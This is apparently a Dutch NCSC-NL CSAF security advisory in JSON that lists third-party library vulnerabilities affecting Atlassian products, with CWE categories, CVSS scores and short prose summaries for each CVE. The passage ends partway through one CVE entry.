| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
| https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-… | self |
{
"document": {
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"tlp": {
"label": "WHITE"
}
},
"lang": "nl",
"notes": [
{
"category": "legal_disclaimer",
"text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:\n\n NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.\n\n NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.\n This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
},
{
"category": "description",
"text": "Atlassian heeft kwetsbaarheden verholpen in diverse producten zoals Bamboo, Bitbucket, Confluence, Jira, Crowd en Fisheye. De kwetsbaarheden bevinden zich in diverse Third-Party producten waar eerder updates voor zijn verschenen. Atlassian heeft deze updates verwerkt in de eigen producten.",
"title": "Feiten"
},
{
"category": "description",
"text": "Kwaadwillenden kunnen de kwetsbaarheden misbruiken om een Denial-of-Service te veroorzaken, willekeurige code uit te voeren middels het injecteren van scripts of malafide SQL-quieries en/of gegevens te manipuleren of toegang te krijgen tot gevoelige gegevens.\n\nEnkele kwetsbaarheden hebben van origine een hoge CVSS score van 9 of meer en zijn door de ontwikkelaars van het kwetsbare product aanvankelijk ingeschaald als \u0027kritiek\u0027. Door de wijze waarop Atlassian gebruik maakt van deze Third-party modules, is direct misbruik van deze kwetsbaarheden onwaarschijnlijker, waardoor Atlassian de risico\u0027s van misbruik voor hun producten lager inschaalt. Echter, door de grote hoeveelheid verholpen kwetsbaarheden adviseert het NCSC wel om deze updates met voorrang in te zetten, met name op systemen die toegankelijk zijn vanaf publieke infrastructuur.",
"title": "Interpretaties"
},
{
"category": "description",
"text": "Atlassian heeft updates uitgebracht voor Bamboo, Bitbucket, Confluence, Jira, Crowd en Fisheye. Zie de bijgevoegde referenties voor meer informatie.",
"title": "Oplossingen"
},
{
"category": "general",
"text": "medium",
"title": "Kans"
},
{
"category": "general",
"text": "high",
"title": "Schade"
},
{
"category": "general",
"text": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"title": "CWE-22"
},
{
"category": "general",
"text": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
"title": "CWE-89"
},
{
"category": "general",
"text": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)",
"title": "CWE-93"
},
{
"category": "general",
"text": "Heap-based Buffer Overflow",
"title": "CWE-122"
},
{
"category": "general",
"text": "Improper Neutralization of Delimiters",
"title": "CWE-140"
},
{
"category": "general",
"text": "Improper Verification of Cryptographic Signature",
"title": "CWE-347"
},
{
"category": "general",
"text": "Improper Validation of Integrity Check Value",
"title": "CWE-354"
},
{
"category": "general",
"text": "Missing Release of Memory after Effective Lifetime",
"title": "CWE-401"
},
{
"category": "general",
"text": "Inefficient Algorithmic Complexity",
"title": "CWE-407"
},
{
"category": "general",
"text": "Improper Handling of Highly Compressed Data (Data Amplification)",
"title": "CWE-409"
},
{
"category": "general",
"text": "Interpretation Conflict",
"title": "CWE-436"
},
{
"category": "general",
"text": "Incorrect Behavior Order: Authorization Before Parsing and Canonicalization",
"title": "CWE-551"
},
{
"category": "general",
"text": "Not Failing Securely (\u0027Failing Open\u0027)",
"title": "CWE-636"
},
{
"category": "general",
"text": "Always-Incorrect Control Flow Implementation",
"title": "CWE-670"
},
{
"category": "general",
"text": "Uncontrolled Recursion",
"title": "CWE-674"
},
{
"category": "general",
"text": "Selection of Less-Secure Algorithm During Negotiation (\u0027Algorithm Downgrade\u0027)",
"title": "CWE-757"
},
{
"category": "general",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "general",
"text": "Missing Release of Resource after Effective Lifetime",
"title": "CWE-772"
},
{
"category": "general",
"text": "Out-of-bounds Write",
"title": "CWE-787"
},
{
"category": "general",
"text": "Memory Allocation with Excessive Size Value",
"title": "CWE-789"
},
{
"category": "general",
"text": "Use of Out-of-range Pointer Offset",
"title": "CWE-823"
},
{
"category": "general",
"text": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"title": "CWE-835"
},
{
"category": "general",
"text": "Improper Update of Reference Count",
"title": "CWE-911"
},
{
"category": "general",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "general",
"text": "Server-Side Request Forgery (SSRF)",
"title": "CWE-918"
},
{
"category": "general",
"text": "Improper Verification of Source of a Communication Channel",
"title": "CWE-940"
},
{
"category": "general",
"text": "Improper Validation of Specified Index, Position, or Offset in Input",
"title": "CWE-1285"
},
{
"category": "general",
"text": "Improper Validation of Unsafe Equivalence in Input",
"title": "CWE-1289"
},
{
"category": "general",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
}
],
"publisher": {
"category": "coordinator",
"contact_details": "cert@ncsc.nl",
"name": "Nationaal Cyber Security Centrum",
"namespace": "https://www.ncsc.nl/"
},
"references": [
{
"category": "external",
"summary": "Reference",
"url": "https://confluence.atlassian.com/security/security-bulletin-august-18-2026-1821999768.html"
}
],
"title": "Kwetsbaarheden verholpen in Atlassian producten",
"tracking": {
"current_release_date": "2026-08-24T09:52:27.784044Z",
"generator": {
"date": "2025-08-04T16:30:00Z",
"engine": {
"name": "V.A.",
"version": "1.3"
}
},
"id": "NCSC-2026-0325",
"initial_release_date": "2026-08-24T09:52:27.784044Z",
"revision_history": [
{
"date": "2026-08-24T09:52:27.784044Z",
"number": "1.0.0",
"summary": "Initiele versie"
}
],
"status": "final",
"version": "1.0.0"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-1"
}
}
],
"category": "product_name",
"name": "Bamboo"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-2"
}
}
],
"category": "product_name",
"name": "Bitbucket"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-3"
}
}
],
"category": "product_name",
"name": "Bitbucket Data Center"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-4"
}
}
],
"category": "product_name",
"name": "Confluence"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-5"
}
}
],
"category": "product_name",
"name": "Confluence Data Center"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-6"
}
}
],
"category": "product_name",
"name": "Crowd Data Center"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-7"
}
}
],
"category": "product_name",
"name": "Crucible"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-8"
}
}
],
"category": "product_name",
"name": "Fisheye"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-9"
}
}
],
"category": "product_name",
"name": "Jira"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-10"
}
}
],
"category": "product_name",
"name": "Jira Service Management Data Center"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-11"
}
}
],
"category": "product_name",
"name": "Jira Service Management Server"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-12"
}
}
],
"category": "product_name",
"name": "Jira Software Data Center"
},
{
"branches": [
{
"category": "product_version_range",
"name": "vers:unknown/*",
"product": {
"name": "vers:unknown/*",
"product_id": "CSAFPID-13"
}
}
],
"category": "product_name",
"name": "Jira Software Server"
}
],
"category": "vendor",
"name": "Atlassian"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2021-44906",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "description",
"text": "Multiple versions of the Node.js minimist module contain a prototype pollution vulnerability in the setKey() function, enabling remote code execution and uncontrolled resource consumption, affecting various products including NetApp and several Node.js updates.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2021-44906 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2021/cve-2021-44906.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2021-44906"
},
{
"cve": "CVE-2022-3517",
"cwe": {
"id": "CWE-1333",
"name": "Inefficient Regular Expression Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Regular Expression Complexity",
"title": "CWE-1333"
},
{
"category": "description",
"text": "A Regular Expression Denial of Service (ReDoS) vulnerability exists in the minimatch package\u0027s braceExpand function, affecting multiple dependent products including Catboost, Dash-extensions, and Jnitrace, which have updated to minimatch version 3.1.2 to address the issue.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2022-3517 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2022/cve-2022-3517.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2022-3517"
},
{
"cve": "CVE-2023-45133",
"cwe": {
"id": "CWE-184",
"name": "Incomplete List of Disallowed Inputs"
},
"notes": [
{
"category": "other",
"text": "Incomplete List of Disallowed Inputs",
"title": "CWE-184"
},
{
"category": "description",
"text": "Babel versions prior to 7.23.2 and related plugins are vulnerable to arbitrary code execution via the internal methods path.evaluate() and path.evaluateTruthy() when compiling attacker-crafted code.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2023-45133 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2023/cve-2023-45133.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2023-45133"
},
{
"cve": "CVE-2025-14813",
"cwe": {
"id": "CWE-327",
"name": "Use of a Broken or Risky Cryptographic Algorithm"
},
"notes": [
{
"category": "other",
"text": "Use of a Broken or Risky Cryptographic Algorithm",
"title": "CWE-327"
},
{
"category": "other",
"text": "Reusing a Nonce, Key Pair in Encryption",
"title": "CWE-323"
},
{
"category": "description",
"text": "A vulnerability in the BC-JAVA library\u0027s GOST 28147-2015 CTR mode causes keystream reuse after 255 blocks, affecting multiple versions and IBM Db2 Server, enabling attackers to compromise data confidentiality.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N/RE:M/U:Red",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2025-14813 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2025/cve-2025-14813.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.0,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2025-14813"
},
{
"cve": "CVE-2026-0603",
"cwe": {
"id": "CWE-89",
"name": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027)",
"title": "CWE-89"
},
{
"category": "description",
"text": "A second-order SQL injection vulnerability in Hibernate ORM versions 5.2.8 to 5.6.15, affecting Red Hat and NetApp products, allows remote attackers with low privileges to exploit unsanitized non-alphanumeric characters, risking data disclosure and manipulation.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-0603 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-0603.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-0603"
},
{
"cve": "CVE-2026-2332",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"notes": [
{
"category": "other",
"text": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)",
"title": "CWE-444"
},
{
"category": "description",
"text": "Eclipse Jetty\u0027s HTTP/1.1 parser improperly handles unclosed quoted strings in chunked transfer encoding extensions, enabling request smuggling attacks that can bypass security controls and lead to cache poisoning, access control bypass, and session hijacking.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-2332 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-2332.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-2332"
},
{
"cve": "CVE-2026-3505",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "A resource allocation vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpg before version 1.84 allows unauthenticated attackers to cause memory exhaustion and denial of service via unbounded PGP AEAD chunk sizes.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-3505 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-3505.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-3505"
},
{
"cve": "CVE-2026-4800",
"cwe": {
"id": "CWE-94",
"name": "Improper Control of Generation of Code (\u0027Code Injection\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Control of Generation of Code (\u0027Code Injection\u0027)",
"title": "CWE-94"
},
{
"category": "other",
"text": "Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
"title": "CWE-77"
},
{
"category": "description",
"text": "Multiple lodash vulnerabilities, including CVE-2021-23337 and command injection in _.template, affect various versions and Oracle products, enabling code injection and remote takeover with severity up to CVSS 9.8, fixed in lodash 4.18.0 and later.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-4800 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-4800.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-4800"
},
{
"cve": "CVE-2026-6321",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"title": "CWE-22"
},
{
"category": "description",
"text": "fast-uri versions 3.1.0 and earlier improperly decode percent-encoded path separators and dot segments before normalization, causing distinct URIs to collapse into the same path and enabling bypass of path-based security policies.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-6321 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-6321.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-6321"
},
{
"cve": "CVE-2026-6322",
"cwe": {
"id": "CWE-436",
"name": "Interpretation Conflict"
},
"notes": [
{
"category": "other",
"text": "Interpretation Conflict",
"title": "CWE-436"
},
{
"category": "other",
"text": "Improper Neutralization of Delimiters",
"title": "CWE-140"
},
{
"category": "description",
"text": "fast-uri versions up to 3.1.1 improperly decode percent-encoded authority delimiters in the host component, altering URI structure and enabling redirection to unintended hosts.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-6322 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-6322.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-6322"
},
{
"cve": "CVE-2026-10050",
"cwe": {
"id": "CWE-173",
"name": "Improper Handling of Alternate Encoding"
},
"notes": [
{
"category": "other",
"text": "Improper Handling of Alternate Encoding",
"title": "CWE-173"
},
{
"category": "other",
"text": "Incorrect Implementation of Authentication Algorithm",
"title": "CWE-303"
},
{
"category": "description",
"text": "Eclipse Jetty\u0027s DigestAuthentication improperly uses ISO-8859-1 encoding for password hashing, causing non-Latin-1 characters to be replaced with \u0027?\u0027, enabling attackers to bypass authentication via hash collisions and impersonation.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-10050 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-10050.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-10050"
},
{
"cve": "CVE-2026-12143",
"cwe": {
"id": "CWE-93",
"name": "Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)"
},
"notes": [
{
"category": "other",
